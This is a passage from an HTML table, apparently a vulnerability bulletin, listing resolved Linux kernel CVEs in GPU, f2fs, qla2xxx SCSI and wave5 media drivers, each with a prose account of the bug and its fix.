&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: fix dc_lock leak on GPU reset error paths On GPU reset, dm_suspend() takes dc_lock and leaves it for dm_resume() to drop. If amdgpu_dm_commit_zero_streams() or dm_dmub_hw_init() fails, the function returns with the lock still held. The matching resume path is then skipped, so every later dc_lock take hangs. Release the cached DC state and unlock before returning the error.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89820&quot; target=&quot;_blank&quot;&gt;CVE-2026-89820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: avoid divide-by-zero in __is_lut_linear() __is_lut_linear() computes the expected value of each entry with expected = i * MAX_DRM_LUT_VALUE / (size - 1); If it is ever called with a single-entry LUT, size - 1 is zero and the kernel takes a divide error (#DE). A LUT with fewer than two entries cannot describe a linear mapping anyway, so return false early instead of dividing by zero.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89821&quot; target=&quot;_blank&quot;&gt;CVE-2026-89821&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/i915: Guard against NULL driver_data in i915_pci_probe() pci_match_device() can return the dummy pci_device_id_any entry when a device is force-bound via sysfs driver_override, in which case -&amp;gt;driver_data is unset (NULL). i915_pci_probe() casts it to struct intel_device_info * unconditionally and dereferences intel_info-&amp;gt;require_force_probe, causing a NULL-ptr-deref. (cherry picked from commit 2727922084672cc274ecea726ea00363c2893731)&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89822&quot; target=&quot;_blank&quot;&gt;CVE-2026-89822&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/panel-edp: fix i2c adapter leak on probe failure Make sure to drop the i2c adapter reference on probe failure (e.g. probe deferral) and on driver unbind also if a devicetree redundantly uses the &#039;ddc-i2c-bus&#039; property to point to the aux ddc bus.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89824&quot; target=&quot;_blank&quot;&gt;CVE-2026-89824&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: avoid force-completing uninitialized UVD rings uvd_v7_0_sw_init() does not initialize the UVD decode ring for an SR-IOV VF. However, amdgpu_uvd_resume() unconditionally force-completes the decode ring when restoring its fence sequence. Skip fence completion when the fence driver is not initialized.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89827&quot; target=&quot;_blank&quot;&gt;CVE-2026-89827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: Fix init ordering in amdgpu_vram_mgr_init() drmm_cgroup_register_region() is called before INIT_LIST_HEAD() and gpu_buddy_init() in amdgpu_vram_mgr_init(). If it fails, the function returns early and bypasses those initializations. Since adev-&amp;gt;mman.initialized is set to true before amdgpu_vram_mgr_init() is called, a failure triggers amdgpu_ttm_fini(), which calls amdgpu_vram_mgr_fini(), which then: - Calls list_for_each_entry_safe() on reservations_pending and reserved_pages, whose list_head::next pointers are zero-initialized (NULL). The loop does not recognize them as empty and dereferences NULL. - Calls gpu_buddy_fini(), which iterates free_trees[] unconditionally via for_each_free_tree(). Since mm-&amp;gt;free_trees is NULL (never allocated), this dereferences NULL. Both result in a kernel panic on the module load error path. Fix by moving drmm_cgroup_register_region() to after the list and buddy allocator are fully initialized, so the teardown path is safe to run.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89828&quot; target=&quot;_blank&quot;&gt;CVE-2026-89828&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: fix valid block count leak on data block allocation failure In __allocate_data_block(), when allocating a new data block (dn-&amp;gt;data_blkaddr == NULL_ADDR), inc_valid_block_count() is called first to increment total_valid_block_count and i_blocks. If the subsequent f2fs_allocate_data_block() fails, the function returns the error directly without rolling back the already-incremented block counts, causing a permanent leak. Fix this by calling dec_valid_block_count() to undo the increment before returning the error. The condition old_blkaddr == NULL_ADDR precisely identifies the case where inc_valid_block_count() was called.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89830&quot; target=&quot;_blank&quot;&gt;CVE-2026-89830&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: protect critical_task_priority updates with s_umount The sysfs store path already takes s_umount for GC thread control entries, and ckpt_thread_ioprio is covered as well. critical_task_priority also updates checkpoint or GC kthread scheduling state, but it is not covered by that serialization. It can race with remount or teardown paths that are stopping those threads. Protect critical_task_priority sysfs writes with s_umount too.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89831&quot; target=&quot;_blank&quot;&gt;CVE-2026-89831&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to avoid potential deadloop in f2fs_fsync_node_pages() There is potential deadloop in race condition: Thread A Thread B - fsync - f2fs_do_sync_file - f2fs_fsync_node_pages - last_fsync_dnode - folio_get(last_folio) - f2fs_setattr - f2fs_truncate - f2fs_truncate_blocks - f2fs_do_truncate_blocks - f2fs_truncate_inode_blocks - truncate_dnode - truncate_node - invalidate_mapping_pages - folio-&amp;gt;mapping = NULL - is_node_folio alwasy return false - atomic &amp;amp;&amp;amp; !marked is always true, then goto retry&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89833&quot; target=&quot;_blank&quot;&gt;CVE-2026-89833&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to migrate all curseg types during free_segment_range In free_segment_range(), the curseg evacuation loop only iterates up to NR_CURSEG_PERSIST_TYPE (0..5), missing non-persistent in-memory curseg types such as CURSEG_COLD_DATA_PINNED and CURSEG_ALL_DATA_ATGC. Even though these in-memory curseg types are not saved in the on-disk checkpoint header, they still occupy active physical segments at runtime. If an active in-memory curseg happens to be allocated within the segment range being truncated during filesystem shrink, failing to evacuate it will cause subsequent writes to the curseg attempting out-of-bounds I/O on the truncated storage range. Fix this by expanding the curseg evacuation loop upper bound to NR_CURSEG_TYPE to ensure all active curseg types are safely migrated out of the target range.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89834&quot; target=&quot;_blank&quot;&gt;CVE-2026-89834&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: avoid NULL checkpoint thread access in sysfs checkpoint_merge can be enabled even when no checkpoint merge thread is running. A read-only mount is one case: f2fs does not start f2fs_issue_ckpt there, but ckpt_thread_ioprio is still writable through sysfs. The ckpt_thread_ioprio store path updates the saved ioprio value and, when checkpoint_merge is enabled, calls set_task_ioprio() for the checkpoint thread. If cprc-&amp;gt;f2fs_issue_ckpt is NULL, that dereferences a NULL task pointer. Protect ckpt_thread_ioprio sysfs writes with s_umount as well, so the checkpoint thread cannot disappear under the store path while updating its ioprio.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89835&quot; target=&quot;_blank&quot;&gt;CVE-2026-89835&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: fix dentry folio leak in find_in_level find_in_level() gets a dentry folio with f2fs_find_data_folio() before calling find_in_block(). If find_in_block() returns an error, the function stores the error in res_folio and breaks out of the loop without dropping the dentry folio. This leaks the folio reference on the find_in_block() error path. Drop the dentry folio before returning the error to the caller.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89837&quot; target=&quot;_blank&quot;&gt;CVE-2026-89837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: use the mount idmap for the owner check in f2fs_xattr_advise_set() f2fs_xattr_advise_set() calls inode_owner_or_capable() with &amp;amp;nop_mnt_idmap before allowing the &quot;system.advise&quot; xattr to be set, instead of the idmap that the VFS passes to the -&amp;gt;set() handler. f2fs supports idmapped mounts, so on such a mount this checks the caller&#039;s fsuid against the unmapped on-disk owner rather than the mapped owner: the actual owner can be wrongly denied with -EPERM and an unrelated caller wrongly allowed. Pass the handler&#039;s idmap instead.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89839&quot; target=&quot;_blank&quot;&gt;CVE-2026-89839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Skip NVMe LS reject IOCB when FW not started qla_nvme_xmt_ls_rsp() bails out to the out: label when firmware is not started (!ha-&amp;gt;flags.fw_started), but the out: path unconditionally calls qla_nvme_ls_reject_iocb(), which ends in qla2x00_start_iocbs() and an unconditional doorbell write to the request queue in-pointer register. This rings the firmware doorbell and queues an IOCB that stopped or resetting firmware cannot consume, and touches MMIO during the reset/EEH window where fw_started is also clear. Only emit the LS reject IOCB (and ring the doorbell) when fw_started is set; otherwise just clean up and return. The post-allocation failure cases (SRB alloc / qla2x00_start_sp() failure) run with firmware started and still send the reject. Apply the same guard to the reject emission in qla2xxx_process_purls_pkt().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89842&quot; target=&quot;_blank&quot;&gt;CVE-2026-89842&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Zero-init bsg stack buffers to avoid info leak Several bsg handlers stage their request/reply in an uninitialized 256-byte on-stack buffer (uint8_t bsg[DMA_POOL_SIZE]) and fill it via sg_copy_to_buffer(), which only copies as many bytes as the user-supplied request payload. When the request is shorter than the structure, the remainder of the buffer is left holding stale stack data. qla2x00_read_fru_status() and qla2x00_read_i2c() then copy the full structure back to the reply payload with sg_copy_from_buffer(), leaking the uninitialized stack bytes to user space. The write/update paths do not copy the buffer back, but can feed uninitialized fields to the device. Zero the stack buffer at declaration in all five handlers, mirroring the heap kzalloc() approach, so short requests can no longer expose stale memory.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89843&quot; target=&quot;_blank&quot;&gt;CVE-2026-89843&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Avoid req_q_map double-read in qla2x00_error_entry() qla2x00_error_entry() reads ha-&amp;gt;req_q_map[que] twice: once for the NULL check and again when assigning it to req. The map slot is cleared by qla25xx_free_req_que() (ha-&amp;gt;req_q_map[que_id] = NULL under mq_lock) during queue teardown, while the response-queue interrupt that drives qla2x00_error_entry() is still registered (the IRQ is released later in qla25xx_free_rsp_que()). If the slot is set to NULL between the two reads, req becomes NULL and is dereferenced. Read the slot once into req and NULL-check the local before use. mq_lock is a mutex and cannot be taken from interrupt context, so the single read plus local check is the appropriate fix for the reported NULL dereference.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89845&quot; target=&quot;_blank&quot;&gt;CVE-2026-89845&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Don&#039;t query firmware state while chip is down qla2x00_fw_state_show() initializes rval to QLA_FUNCTION_FAILED and jumps to the out: label when the chip is down or EEH is busy. The out: block then re-issued qla2x00_get_firmware_state() because rval != QLA_SUCCESS, defeating the chip-down/EEH-busy guards and issuing a mailbox command (outside optrom_mutex) during ISP reset or PCI error recovery, which can hang the adapter. It also turned a normal in-lock mailbox failure into a second unsynchronized mailbox attempt. Make the out: fallback only mark the firmware state as unknown. The mailbox is now issued at most once, inside optrom_mutex, and only when the chip is up and not EEH-busy.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89850&quot; target=&quot;_blank&quot;&gt;CVE-2026-89850&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Fix FCE trace enable parsing in debugfs qla2x00_dfs_fce_write() called kstrtoul() with a NULL result pointer, so a successful parse would dereference NULL and oops. Worse, the int return value (0 on success, negative errno on failure) was assigned to the unsigned long enable flag, inverting the intended logic: a valid number was treated as &quot;disable&quot; while a parse failure enabled FCE. Parse the value into enable and propagate parse errors to userspace.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89851&quot; target=&quot;_blank&quot;&gt;CVE-2026-89851&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Zero mailbox struct in qla2x00_get_firmware_state() The mbx_cmd_t is allocated on the stack but left uninitialized. qla2x00_mailbox_command() has several early-return paths (PCI permanent failure, device failed, EEH busy, ISP abort pending, mailbox access timeout, purge mbox) that return without writing the input mailbox registers back into mcp-&amp;gt;mb[]. qla2x00_get_firmware_state() then unconditionally copies mcp-&amp;gt;mb[1..6] (and mb[12]) into the caller&#039;s states[] array regardless of the return value. On such a failure the copied values are uninitialized kernel stack memory, which is then exposed to userspace via the fw_state and mpi_fw_state sysfs handlers. Zero the mailbox struct so a failed query yields deterministic zeroed state instead of leaking stack contents.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89852&quot; target=&quot;_blank&quot;&gt;CVE-2026-89852&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Fix FCE trace use-after-free during firmware dump qla2x00_free_fce_trace() freed and cleared ha-&amp;gt;fce while holding only fce_mutex. The firmware-dump consumers qla27xx_fwdt_entry_t264() and qla25xx_copy_fce() read ha-&amp;gt;fce (NULL check followed by a copy of the buffer) under hardware_lock and never take fce_mutex. A debugfs FCE disable could therefore free the DMA buffer between a dump&#039;s NULL check and its copy, resulting in a use-after-free. Unpublish ha-&amp;gt;fce under hardware_lock, then release the lock and free the DMA buffer (dma_free_coherent() may sleep). A concurrent dump either completes its check and copy with the buffer still valid, or observes ha-&amp;gt;fce == NULL and skips it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89853&quot; target=&quot;_blank&quot;&gt;CVE-2026-89853&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Serialize flash version read in reset handler The &quot;update cache versions without reset&quot; sysfs reset operation (0x20261) calls get_flash_version(), which reads hardware flash registers, without holding ha-&amp;gt;optrom_mutex. The VPD update path serializes the same call under optrom_mutex, so this reset path can interleave its flash register accesses with a concurrent VPD or optrom flash operation and corrupt the reads. Hold ha-&amp;gt;optrom_mutex across the get_flash_version() call to match the VPD update path.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89855&quot; target=&quot;_blank&quot;&gt;CVE-2026-89855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Bound image count in qla2x00_update_fru_versions() qla2x00_update_fru_versions() copies the user-supplied BSG request into a fixed 256-byte stack buffer (bsg[DMA_POOL_SIZE]) and then iterates list-&amp;gt;count times over the qla_image_version array embedded in that buffer, advancing the image pointer each iteration. count is taken directly from user input with no upper bound, while only (DMA_POOL_SIZE - sizeof(list-&amp;gt;count)) / sizeof(struct qla_image_version) = 6 entries actually fit. A larger count walks the image pointer off the end of the stack buffer, reading adjacent kernel stack memory and sending it to the device via qla2x00_write_sfp(). Reject requests whose declared count does not fit in the buffer.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89858&quot; target=&quot;_blank&quot;&gt;CVE-2026-89858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Zero dport diagnostics buffer to avoid info leak qla2x00_do_dport_diagnostics() allocates the qla_dport_diag response buffer with kmalloc_obj() (non-zeroing) and, on success, copies the full sizeof(*dd) back to user space via sg_copy_from_buffer(). The inbound sg_copy_to_buffer() only fills as many bytes as the user request payload provides, and qla26xx_dport_diagnostics() zeroes only dd-&amp;gt;buf. The options and unused[] fields are therefore copied out uninitialized, leaking kernel heap contents to user space. Allocate with kzalloc_obj(), matching qla2x00_do_dport_diagnostics_v2().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89859&quot; target=&quot;_blank&quot;&gt;CVE-2026-89859&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Fix BSG job leak on validate flash image error path qla28xx_validate_flash_image() returns QLA_SUCCESS (0) unconditionally, telling the FC BSG transport (fc_bsg_host_dispatch()) that the driver owns and will complete the request. But bsg_job_done() is guarded by &quot;if (!rval)&quot;, so on the error path (rval == -EINVAL) neither the driver nor the transport completes the job. The request dangles until it times out, leaking block layer resources. Commit c2c68225b145 (&quot;scsi: qla2xxx: Fix bsg_done() causing double free&quot;) added the &quot;if (!rval)&quot; guard to a batch of BSG handlers. That is correct for handlers that also return the error code (the transport then completes the job once via fail_host_msg), but this function returns QLA_SUCCESS unconditionally, so the guard turned a correct single completion into a leak. Always call bsg_job_done(): bsg_reply-&amp;gt;result is DID_OK and the error is reported in vendor_rsp[0], and since the function returns 0 the transport will not complete the job a second time.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89862&quot; target=&quot;_blank&quot;&gt;CVE-2026-89862&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Bound i2c-&amp;gt;length in I2C bsg handlers struct qla_i2c_access carries a 16-bit length field alongside a fixed 64-byte buffer: struct qla_i2c_access { uint16_t device, offset, option, length; uint8_t buffer[0x40]; } __packed; qla2x00_write_i2c() and qla2x00_read_i2c() use the user-supplied i2c-&amp;gt;length without any bounds check. i2c is overlaid on a 256-byte on-stack buffer and sfp is a 256-byte DMA-pool buffer, so a length up to 65535 overruns both: - write: memcpy(sfp, i2c-&amp;gt;buffer, i2c-&amp;gt;length) over-reads the stack and over-writes the sfp heap buffer, and qla2x00_write_sfp() then DMAs i2c-&amp;gt;length bytes out of the 256-byte buffer. - read: qla2x00_read_sfp() DMAs i2c-&amp;gt;length bytes into the 256-byte sfp, then memcpy(i2c-&amp;gt;buffer, sfp, i2c-&amp;gt;length) overflows the 64-byte buffer inside the on-stack array. A caller holding CAP_SYS_RAWIO can use this to corrupt the heap and the kernel stack. Reject requests whose length exceeds the buffer before any copy or DMA transfer in both handlers.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89864&quot; target=&quot;_blank&quot;&gt;CVE-2026-89864&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Zero SFP DMA buffer in FRU/I2C bsg handlers The FRU and I2C bsg handlers stage their transfer in a DMA_POOL_SIZE (256-byte) bounce buffer obtained from dma_pool_alloc(), which does not zero the allocation. They initialize only a few leading bytes before handing the buffer to qla2x00_write_sfp(). qla2x00_write_sfp() can override the transfer length with a user-supplied value: if (len == 1) opt |= BIT_0; if (opt &amp;amp; BIT_0) len = *sfp; *sfp is the first byte of the (user-controlled) payload, so len can grow up to 255. The device then DMA-reads len bytes from the 256-byte pool buffer. Since only a small prefix was written (e.g. MAX_FRU_SIZE == 36 bytes for a FRU version, one byte for a FRU status register), the hardware reads past the initialized region and writes up to ~219 bytes of stale DMA-pool heap memory to the device flash. Allocate the buffer with dma_pool_zalloc() in all five FRU/I2C handlers so any bytes beyond the initialized data are zero rather than stale heap contents.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89865&quot; target=&quot;_blank&quot;&gt;CVE-2026-89865&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: chips-media: wave5: Resume device before setting EOS flag Setting the EOS flag talks to the firmware via send_firmware_command(), which accesses VPU registers. Both the STREAMOFF path (wave5_vpu_dec_job_abort()) and the V4L2_DEC_CMD_STOP path (wave5_vpu_dec_stop()) can run while the device is runtime suspended, so those register accesses hit powered-down hardware and the SoC raises an asynchronous SError, panicking the kernel: SError Interrupt on CPU3, code 0x00000000bf000000 -- SError send_firmware_command+0x2c/0x160 [wave5] wave5_vpu_dec_set_bitstream_flag+0x6c/0x80 [wave5] wave5_vpu_dec_update_bitstream_buffer+0x80/0xec [wave5] wave5_vpu_dec_job_abort+0x44/0xa0 [wave5] v4l2_m2m_cancel_job+0x110/0x19c [v4l2_mem2mem] v4l2_m2m_streamoff+0x24/0x140 [v4l2_mem2mem] Resume the device with pm_runtime_resume_and_get() around the EOS firmware command and release it with pm_runtime_put_autosuspend(), matching the runtime PM handling already done in wave5_vpu_dec_device_run().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89866&quot; target=&quot;_blank&quot;&gt;CVE-2026-89866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: chips-media: wave5: Defer job_finish() only when a DEC_PIC was queued Decoder instances sharing a VPU also share one v4l2_m2m job slot, released when the running context calls v4l2_m2m_job_finish(). While draining, device_run() defers job_finish() once EOS is sent (sent_eos), expecting a later finish_decode() (from a DEC_PIC completion IRQ) to release the slot. But the m2m core checks job_ready() only when a job is queued, not when it is dispatched. A job queued while draining can run after finish_decode() has already moved the instance to STOP and sent EOS. device_run() then runs in STOP, issues no DEC_PIC, yet still skips job_finish() - so no IRQ, no finish_decode(), and the shared slot is leaked, stalling every instance. With several v4l2h264dec instances in parallel, GStreamer hangs at EOS. Track whether the run actually queued a DEC_PIC (cmd_issued) and defer job_finish() only then. Otherwise finish the job immediately&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89867&quot; target=&quot;_blank&quot;&gt;CVE-2026-89867&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
